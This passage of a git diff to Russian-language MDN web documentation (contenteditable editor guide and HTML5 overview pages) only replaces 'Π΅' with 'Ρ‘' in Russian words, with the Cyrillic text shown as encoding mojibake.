+<p>Π’ΠΎΡ‚ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаёт элСмСнт {{HTMLElement("div")}}, содСрТимоС ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</p>
<pre class="brush: html">&lt;div contenteditable="true"&gt;
Π­Ρ‚ΠΎΡ‚ тСкст ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ.
&lt;/div&gt;</pre>
-<p>Π’ΠΎΡ‚ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ HTML-ΠΊΠΎΠ΄ Π² пСсочницС:</p>
+<p>Π’ΠΎΡ‚ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ HTML-ΠΊΠΎΠ΄ Π² пСсочницС:</p>
<p>{{ EmbedLiveSample('Как_это_Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚') }}Β </p>
@@ -30,9 +30,9 @@ translation_of: Web/Guide/HTML/Editable_content
<p>ИспользованиС Β <code>contenteditable</code>Β  Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… Π±Ρ‹Π»ΠΎ Π±ΠΎΠ»Π΅Π·Π½Π΅Π½Π½Ρ‹ΠΌ Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈΠ·-Π·Π° Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠΉ Π² сгСнСрированной Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ. НапримСр, Π΄Π°ΠΆΠ΅ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ простоС, Ρ‡Ρ‚ΠΎ происходит, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚Π΅ Enter/Return для создания Π½ΠΎΠ²ΠΎΠΉ строки тСкста Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ³ΠΎ элСмСнта, ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π»ΠΎΡΡŒ ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ Π² основных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… (Firefox вставлял элСмСнты {{htmlelement("br")}}, IE/Opera использовала {{htmlelement("p")}}, Π² Chrome/Safari использовался {{htmlelement("div")}}).Β </p>
-<p>К ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, Π² соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… ситуация нСсколько Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Π°. Начиная с Β <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/60">Firefox 60</a>,Β  Firefox Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ строки Π² элСмСнтах {{htmlelement("div")}}, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… повСдСнию Chrome, соврСмСнной Opera, Edge ΠΈ Safari.</p>
+<p>К ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, Π² соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… ситуация нСсколько Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Π°. Начиная с Β <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/60">Firefox 60</a>,Β  Firefox Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ строки Π² элСмСнтах {{htmlelement("div")}}, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… повСдСнию Chrome, соврСмСнной Opera, Edge ΠΈ Safari.</p>
-<p>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ это Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅.</p>
+<p>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ это Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Internet Explorer, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ большС Π½Π΅ разрабатываСтся, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ элСмСнты {{htmlelement("p")}} вмСсто <code>&lt;div&gt;</code>.</p>
@@ -103,7 +103,7 @@ user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");</pre
&lt;option class="heading" selected&gt;- Ρ†Π²Π΅Ρ‚ -&lt;/option&gt;
&lt;option value="red"&gt;ΠšΡ€Π°ΡΠ½Ρ‹ΠΉ&lt;/option&gt;
&lt;option value="blue"&gt;Π‘ΠΈΠ½ΠΈΠΉ&lt;/option&gt;
-&lt;option value="green"&gt;Π—Π΅Π»Π΅Π½Ρ‹ΠΉ&lt;/option&gt;
+&lt;option value="green"&gt;Π—Π΅Π»Ρ‘Π½Ρ‹ΠΉ&lt;/option&gt;
&lt;option value="black"&gt;Π§Ρ‘Ρ€Π½Ρ‹ΠΉ&lt;/option&gt;
&lt;/select&gt;
&lt;select onchange="formatDoc('backcolor',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
@@ -121,7 +121,7 @@ user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");</pre
&lt;img class="intLink" title="Π£Π΄Π°Π»ΠΈΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅" onclick="formatDoc('removeFormat')" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAAd0SU1FB9oECQMCKPI8CIIAAAAIdEVYdENvbW1lbnQA9syWvwAAAuhJREFUOMtjYBgFxAB501ZWBvVaL2nHnlmk6mXCJbF69zU+Hz/9fB5O1lx+bg45qhl8/fYr5it3XrP/YWTUvvvk3VeqGXz70TvbJy8+Wv39+2/Hz19/mGwjZzuTYjALuoBv9jImaXHeyD3H7kU8fPj2ICML8z92dlbtMzdeiG3fco7J08foH1kurkm3E9iw54YvKwuTuom+LPt/BgbWf3//sf37/1/c02cCG1lB8f//f95DZx74MTMzshhoSm6szrQ/a6Ir/Z2RkfEjBxuLYFpDiDi6Af///2ckaHBp7+7wmavP5n76+P2ClrLIYl8H9W36auJCbCxM4szMTJac7Kza////R3H1w2cfWAgafPbqs5g7D95++/P1B4+ECK8tAwMDw/1H7159+/7r7ZcvPz4fOHbzEwMDwx8GBgaGnNatfHZx8zqrJ+4VJBh5CQEGOySEua/v3n7hXmqI8WUGBgYGL3vVG7fuPK3i5GD9/fja7ZsMDAzMG/Ze52mZeSj4yu1XEq/ff7W5dvfVAS1lsXc4Db7z8C3r8p7Qjf///2dnZGxlqJuyr3rPqQd/Hhyu7oSpYWScylDQsd3kzvnH738wMDzj5GBN1VIWW4c3KDon7VOvm7S3paB9u5qsU5/x5KUnlY+eexQbkLNsErK61+++VnAJcfkyMTIwffj0QwZbJDKjcETs1Y8evyd48toz8y/ffzv//vPP4veffxpX77z6l5JewHPu8MqTDAwMDLzyrjb/mZm0JcT5Lj+89+Ybm6zz95oMh7s4XbygN3Sluq4Mj5K8iKMgP4f0////fv77//8nLy+7MCcXmyYDAwODS9jM9tcvPypd35pne3ljdjvj26+H2dhYpuENikgfvQeXNmSl3tqepxXsqhXPyc666s+fv1fMdKR3TK72zpix8nTc7bdfhfkEeVbC9KhbK/9iYWHiErbu6MWbY/7//8/4//9/pgOnH6jGVazvFDRtq2VgiBIZrUTIBgCk+ivHvuEKwAAAAABJRU5ErkJggg=="&gt;
&lt;img class="intLink" title="Π–ΠΈΡ€Π½Ρ‹ΠΉ" onclick="formatDoc('bold');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAInhI+pa+H9mJy0LhdgtrxzDG5WGFVk6aXqyk6Y9kXvKKNuLbb6zgMFADs=" /&gt;
&lt;img class="intLink" title="Italic" onclick="formatDoc('italic');" src="data:image/gif;base64,R0lGODlhFgAWAKEDAAAAAF9vj5WIbf///yH5BAEAAAMALAAAAAAWABYAAAIjnI+py+0Po5x0gXvruEKHrF2BB1YiCWgbMFIYpsbyTNd2UwAAOw==" /&gt;
-&lt;img class="intLink" title="ΠŸΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅" onclick="formatDoc('underline');" src="data:image/gif;base64,R0lGODlhFgAWAKECAAAAAF9vj////////yH5BAEAAAIALAAAAAAWABYAAAIrlI+py+0Po5zUgAsEzvEeL4Ea15EiJJ5PSqJmuwKBEKgxVuXWtun+DwxCCgA7" /&gt;
+&lt;img class="intLink" title="ΠŸΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅" onclick="formatDoc('underline');" src="data:image/gif;base64,R0lGODlhFgAWAKECAAAAAF9vj////////yH5BAEAAAIALAAAAAAWABYAAAIrlI+py+0Po5zUgAsEzvEeL4Ea15EiJJ5PSqJmuwKBEKgxVuXWtun+DwxCCgA7" /&gt;
&lt;img class="intLink" title="Π’Ρ‹Ρ€ΠΎΠ²Π½ΡΡ‚ΡŒ слСва" onclick="formatDoc('justifyleft');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JMGELkGYxo+qzl4nKyXAAAOw==" /&gt;
&lt;img class="intLink" title="Π’Ρ‹Ρ€ΠΎΠ²Π½ΡΡ‚ΡŒ Ρ†Π΅Π½Ρ‚Ρ€" onclick="formatDoc('justifycenter');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIfhI+py+0Po5y02ouz3jL4D4JOGI7kaZ5Bqn4sycVbAQA7" /&gt;
&lt;img class="intLink" title="Π’Ρ‹Ρ€ΠΎΠ²Π½ΡΡ‚ΡŒ справа" onclick="formatDoc('justifyright');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JQGDLkGYxouqzl43JyVgAAOw==" /&gt;
diff --git a/files/ru/web/guide/html/html5/index.html b/files/ru/web/guide/html/html5/index.html
index 6583613185..70cb73fa9c 100644
--- a/files/ru/web/guide/html/html5/index.html
+++ b/files/ru/web/guide/html/html5/index.html
@@ -22,7 +22,7 @@ original_slug: HTML/HTML5
<li><em>ΠœΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ°:</em>созданиС ΠΈ взаимодСйствиС с Π²ΠΈΠ΄Π΅ΠΎ ΠΈ Π·Π²ΡƒΠΊΠΎΠΌ;</li>
<li><em>2D/3D Π“Ρ€Π°Ρ„ΠΈΠΊΠ° ΠΈ эффСкты:</em> способы Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π°Π·Π½ΠΎΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ  прСдставлСниС;</li>
<li><em>Доступ ΠΊ устройствам:</em> использованиС Ρ€Π°Π·Π½Ρ‹Ρ… устройств для Π²Π²ΠΎΠ΄Π° ΠΈ Π²Ρ‹Π²ΠΎΠ΄Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ;</li>
- <li><em>Бтилизация:</em> созданиС ΠΈΠ·ΠΎΡ‰Ρ€Π΅Π½Π½Ρ‹Ρ… ΠΈ ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½Ρ‹Ρ… Ρ‚Π΅ΠΌ.</li>
+ <li><em>Бтилизация:</em> созданиС ΠΈΠ·ΠΎΡ‰Ρ€Ρ‘Π½Π½Ρ‹Ρ… ΠΈ ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½Ρ‹Ρ… Ρ‚Π΅ΠΌ.</li>
</ul>
<table class="topicpage-table">
@@ -59,7 +59,7 @@ original_slug: HTML/HTML5
<dt><a href="/en-US/docs/Server-sent_events/Using_server-sent_events" title="/en-US/docs/Server-sent_events/Using_server-sent_events">Server-sent события</a></dt>
<dd>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ сСрвСру ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΒ ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ, Π° Π½Π΅ ΠΏΠΎ классичСской ΠΏΠ°Ρ€Π°Π΄ΠΈΠ³ΠΌΠ΅, Π³Π΄Π΅ сСрвСр ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° запрос ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°.</dd>
<dt><a href="/en-US/docs/WebRTC" title="/en-US/WebRTC">WebRTC</a></dt>
- <dd>Π­Ρ‚Π° тСхнология, Π³Π΄Π΅ RTC создаСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΒ ΠΎΠ±Ρ‰Π΅Π½ΠΈΡΒ Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, позволяСт ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠΌ людям ΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ Π²ΠΈΠ΄Π΅ΠΎΠΊΠΎΠ½Ρ„Π΅Ρ€Π΅Π½Ρ†ΠΈΠΈΒ Π½Π΅ΠΏΠΎΡΡ€Π΅Π΄ΡΡ‚Π²Π΅Π½Π½ΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π±Π΅Π· нСобходимости ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ²Β ΠΈ внСшний ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ.</dd>
+ <dd>Π­Ρ‚Π° тСхнология, Π³Π΄Π΅ RTC создаёт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΒ ΠΎΠ±Ρ‰Π΅Π½ΠΈΡΒ Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, позволяСт ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠΌ людям ΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ Π²ΠΈΠ΄Π΅ΠΎΠΊΠΎΠ½Ρ„Π΅Ρ€Π΅Π½Ρ†ΠΈΠΈΒ Π½Π΅ΠΏΠΎΡΡ€Π΅Π΄ΡΡ‚Π²Π΅Π½Π½ΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π±Π΅Π· нСобходимости ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ²Β ΠΈ внСшний ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ.</dd>
</dl>
<h2 id="ΠžΠ€Π€Π›ΠΠ™Π_И_Π₯Π ΠΠΠ˜Π›Π˜Π©Π•" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3833/HTML5_Offline_Storage_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">ΠžΠ€Π€Π›ΠΠ™Π И Π₯Π ΠΠΠ˜Π›Π˜Π©Π•</h2>
@@ -83,7 +83,7 @@ original_slug: HTML/HTML5
<dt><a href="/en-US/docs/Using_HTML5_audio_and_video" title="Using_audio_and_video_in_Firefox">ИспользованиС HTML5 audio и video</a></dt>
<dd>{{ HTMLElement("audio") }} ΠΈΒ {{ HTMLElement("video") }} элСмСнты Π²ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ° ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ.</dd>
<dt><a href="/en-US/docs/WebRTC" title="/en-US/WebRTC">WebRTC</a></dt>
- <dd>Π­Ρ‚Π° тСхнология, Π³Π΄Π΅ RTC создаСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΒ ΠΎΠ±Ρ‰Π΅Π½ΠΈΡΒ Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, позволяСт ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠΌ людям ΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ Π²ΠΈΠ΄Π΅ΠΎΠΊΠΎΠ½Ρ„Π΅Ρ€Π΅Π½Ρ†ΠΈΠΈΒ Π½Π΅ΠΏΠΎΡΡ€Π΅Π΄ΡΡ‚Π²Π΅Π½Π½ΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π±Π΅Π· нСобходимости ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ²Β ΠΈ внСшний ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ.</dd>
+ <dd>Π­Ρ‚Π° тСхнология, Π³Π΄Π΅ RTC создаёт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΒ ΠΎΠ±Ρ‰Π΅Π½ΠΈΡΒ Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, позволяСт ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠΌ людям ΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ Π²ΠΈΠ΄Π΅ΠΎΠΊΠΎΠ½Ρ„Π΅Ρ€Π΅Π½Ρ†ΠΈΠΈΒ Π½Π΅ΠΏΠΎΡΡ€Π΅Π΄ΡΡ‚Π²Π΅Π½Π½ΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π±Π΅Π· нСобходимости ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ²Β ΠΈ внСшний ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ.</dd>
<dt><a href="/en-US/docs/DOM/Using_the_Camera_API" title="/en-US/docs/DOM/Using_the_Camera_API">ИспользованиС Camera API</a></dt>
<dd>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ изобраТСния с ΠΊΠ°ΠΌΠ΅Ρ€Ρ‹ устройства.</dd>
</dl>
@@ -132,7 +132,7 @@ original_slug: HTML/HTML5
<dt><a href="/en-US/docs/API/Pointer_Lock_API" title="/en-US/docs/API/Pointer_Lock_API">Pointer Lock API</a></dt>
<dd>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ курсор, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ±Ρ‹Β ΠΈΠ³Ρ€Ρ‹ ΠΈ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ прилоТСния нС тСряли фокус, ΠΊΠΎΠ³Π΄Π° ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ достигаСт ΠΏΡ€Π΅Π΄Π΅Π»Π° ΠΎΠΊΠ½Π°.</dd>
<dt><a href="/en-US/docs/Online_and_offline_events" title="/en-US/docs/Online_and_offline_events">Online and offline events</a></dt>
- <dd>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΡƒΡŽ ΠΎΡ„Ρ„Π»Π°ΠΉΠ½-совмСстимыС вСб-прилоТСния, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π·Π½Π°Ρ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π±Π΅Π· сСти. Π’Π°ΠΊΠΆΠ΅, Π²Ρ‹Β Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π·Π½Π°Ρ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ снова вСрнСтся в ΡΠ΅Ρ‚ΡŒ.</dd>
+ <dd>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΡƒΡŽ ΠΎΡ„Ρ„Π»Π°ΠΉΠ½-совмСстимыС вСб-прилоТСния, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π·Π½Π°Ρ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π±Π΅Π· сСти. Π’Π°ΠΊΠΆΠ΅, Π²Ρ‹Β Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π·Π½Π°Ρ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ снова вСрнётся в ΡΠ΅Ρ‚ΡŒ.</dd>
</dl>
<h2 id="доступ_ΠΊ_устройствам" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3837/HTML5_Device_Access_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">доступ ΠΊ устройствам</h2>
diff --git a/files/ru/web/guide/html/html5/introduction_to_html5/index.html b/files/ru/web/guide/html/html5/introduction_to_html5/index.html
index 64b43c9b8a..85b024ad30 100644
--- a/files/ru/web/guide/html/html5/introduction_to_html5/index.html
+++ b/files/ru/web/guide/html/html5/introduction_to_html5/index.html
@@ -24,4 +24,4 @@ original_slug: HTML/HTML5/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML5
<h2 id="ИспользованиС_Π½ΠΎΠ²ΠΎΠ³ΠΎ_HTML5_парсСра">ИспользованиС Π½ΠΎΠ²ΠΎΠ³ΠΎ HTML5 парсСра</h2>
<p>The parsing rule of HTML5, which analyzes the meaning of mark-up, has been more precisely defined in HTML5. Until the introduction of HTML5, only the meaning of <em>valid</em> mark-up was defined, meaning that as soon as one small error was made in the mark-up (most Web sites have at least one), the behavior was undefined. Essentially, it meant that all browsers behaved differently, which is no longer the case. Now, faced with errors in the mark-up, all compliant browsers must behave exactly in the same way.</p>
<p>This requirement helps Web developers quite a bit. While it is true that all modern browsers now use these HTML5 parsing rules, non-HTML5-compliant browsers are still used by some. Keep in mind that it's still highly recommended that oneΒ write valid mark-up, as such code is easier to read and maintain, and it greatly decreases the prominence of incompatibilities that exists in various older browsers.</p>
-<p>НС Π²ΠΎΠ»Π½ΡƒΠΉΡ‚Π΅ΡΡŒ - Π²Π°ΠΌ Π½Π΅ придСтся Π½ΠΈΡ‡Π΅Π³ΠΎ ΠΌΠ΅Π½ΡΡ‚ΡŒ Π½Π° вашСм Π²Π΅Π±-сайтС - Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… сдСлали всС для вас!</p>
+<p>НС Π²ΠΎΠ»Π½ΡƒΠΉΡ‚Π΅ΡΡŒ - Π²Π°ΠΌ Π½Π΅ придётся Π½ΠΈΡ‡Π΅Π³ΠΎ ΠΌΠ΅Π½ΡΡ‚ΡŒ Π½Π° вашСм Π²Π΅Π±-сайтС - Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… сдСлали всС для вас!</p>
diff --git a/files/ru/web/guide/html/using_html_sections_and_outlines/index.html b/files/ru/web/guide/html/using_html_sections_and_outlines/index.html
index 57fc57b89d..bc5258ab54 100644
--- a/files/ru/web/guide/html/using_html_sections_and_outlines/index.html
+++ b/files/ru/web/guide/html/using_html_sections_and_outlines/index.html
@@ -14,14 +14,14 @@ translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines
original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
---
<div class="warning">
